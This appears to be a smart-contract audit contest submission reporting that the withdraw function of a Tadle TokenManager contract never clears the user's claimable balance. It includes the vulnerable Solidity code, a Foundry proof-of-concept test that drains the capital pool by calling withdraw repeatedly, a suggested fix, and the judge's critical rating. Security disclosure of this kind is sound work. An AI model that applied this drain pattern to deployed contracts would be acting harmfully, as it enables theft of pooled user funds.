Submission Details
Severity:
withdraw doesn't decrease `claimAbleAmount`
Summary
withdraw doesn't decrease claimAbleAmount
Vulnerability Details
withdraw function in TokenManager.sol contract withdraws the funds but doesn't actually decrease claimAbleAmount thus there is not limit from stealing funds from pool directly
function withdraw(
address _tokenAddress,
TokenBalanceType _tokenBalanceType
) external whenNotPaused {
uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][
_tokenAddress
][_tokenBalanceType];
if (claimAbleAmount == 0) {
return;
}
address capitalPoolAddr = tadleFactory.relatedContracts(
RelatedContractLibraries.CAPITAL_POOL
);
if (_tokenAddress == wrappedNativeToken) {
/**
* @dev token is native token
* @dev transfer from capital pool to msg sender
* @dev withdraw native token to token manager contract
* @dev transfer native token to msg sender
*/
_transfer(
wrappedNativeToken,
capitalPoolAddr,
address(this),
claimAbleAmount,
capitalPoolAddr
);
IWrappedNativeToken(wrappedNativeToken).withdraw(claimAbleAmount);
payable(msg.sender).transfer(claimAbleAmount);
} else {
/**
* @dev token is ERC20 token
* @dev transfer from capital pool to msg sender
*/
_safe_transfer_from(
_tokenAddress,
capitalPoolAddr,
_msgSender(),
claimAbleAmount
);
}
emit Withdraw(
_msgSender(),
_tokenAddress,
_tokenBalanceType,
claimAbleAmount
);
}
POC
add this poc to
PreMarkets.t.solcontractrun with
forge test --mt test_withdraw_poc -vvv
function test_withdraw_poc() public {
deal(address(mockPointToken), user, 10e18);
deal(address(mockUSDCToken), user, 10e6);
deal(address(mockUSDCToken), user1, 10.35 * 1e6);
deal(address(mockUSDCToken), address(capitalPool), 1000e6);
console2.log("user USDC token before createOffer():", mockUSDCToken.balanceOf(user));
vm.startPrank(user);
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
10,
10e6,
10000,
300,
OfferType.Ask,
OfferSettleType.Turbo
)
);
vm.stopPrank();
console2.log("user USDC token after createOffer():", mockUSDCToken.balanceOf(user));
vm.startPrank(user1);
console2.log("user1 USDC token before createTaker():", mockUSDCToken.balanceOf(user1));
mockUSDCToken.approve(address(tokenManager), 10.35 * 1e6);
address offerAddr = GenerateAddress.generateOfferAddress(0);
preMarktes.createTaker(offerAddr, 10);
console2.log("user1 USDC token after createTaker():", mockUSDCToken.balanceOf(user1));
address stock1Addr = GenerateAddress.generateStockAddress(1);
vm.stopPrank();
//update market
vm.prank(user1);
systemConfig.updateMarket(
"Backpack",
address(mockPointToken),
1 * 1e18,
block.timestamp + 1 days,
2 days
);
vm.warp(block.timestamp + 3 days);
vm.startPrank(user);
mockPointToken.approve(address(tokenManager), 10e18);
deliveryPlace.settleAskMaker(offerAddr, 10);
vm.stopPrank();
vm.startPrank(user1);
deliveryPlace.closeBidTaker(stock1Addr);
console2.log("=================================================================");
// withdraw amounts are zero in here because of wrong point token address
console2.log("user1 before withdraw point tokens:", mockPointToken.balanceOf(user1));
capitalPool.approve(address(mockPointToken));
tokenManager.withdraw(address(mockPointToken), TokenBalanceType.PointToken);
console2.log("user1 after withdraw point tokens:", mockPointToken.balanceOf(user1));
vm.stopPrank();
console2.log("=================================================================");
//user can call withdraw function unlimited and drain capital pool
vm.startPrank(user);
console2.log("user before withdraw USDC tokens:", mockUSDCToken.balanceOf(user));
capitalPool.approve(address(mockUSDCToken));
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
console2.log("user after withdraw USDC tokens:", mockUSDCToken.balanceOf(user));
vm.stopPrank();
}
Impact
attacker can steal all funds there is no check for claimAbleAmount
Tools Used
vs code / brain
Recommendations
consider modifying withdraw function to check the maximum withdraw amount does not exceeds the
claimAbleAmount
function withdraw(
address _tokenAddress,
TokenBalanceType _tokenBalanceType
) external whenNotPaused {
uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][
_tokenAddress
][_tokenBalanceType];
+ userTokenBalanceMap[_msgSender()][
+ _tokenAddress
+ ][_tokenBalanceType] = 0;
+ if (claimAbleAmount == 0){
+ revert("zero claimAbleAmount");
+ }
if (claimAbleAmount == 0) {
return;
}
address capitalPoolAddr = tadleFactory.relatedContracts(
RelatedContractLibraries.CAPITAL_POOL
);
if (_tokenAddress == wrappedNativeToken) {
/**
* @dev token is native token
* @dev transfer from capital pool to msg sender
* @dev withdraw native token to token manager contract
* @dev transfer native token to msg sender
*/
_transfer(
wrappedNativeToken,
capitalPoolAddr,
address(this),
claimAbleAmount,
capitalPoolAddr
);
IWrappedNativeToken(wrappedNativeToken).withdraw(claimAbleAmount);
payable(msg.sender).transfer(claimAbleAmount);
} else {
/**
* @dev token is ERC20 token
* @dev transfer from capital pool to msg sender
*/
_safe_transfer_from(
_tokenAddress,
capitalPoolAddr,
_msgSender(),
claimAbleAmount
);
}
emit Withdraw(
_msgSender(),
_tokenAddress,
_tokenBalanceType,
claimAbleAmount
);
}
Updates
Lead Judging Commences
0xnevi 10 months ago
Submission Judgement Published Assigned finding tags:
finding-TokenManager-withdraw-userTokenBalanceMap-not-reset
Valid critical severity finding, the lack of clearance of the `userTokenBalanceMap` mapping allows complete draining of the CapitalPool contract. Note: This would require the approval issues highlighted in other issues to be fixed first (i.e. wrong approval address within `_transfer` and lack of approvals within `_safe_transfer_from` during ERC20 withdrawals)
Prize pool breakdown
Total prize
30,000 USDC
nSLOC
1,22924 USDC / LOC
25,000 USDC
2,750 USDC
2,250 USDC
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.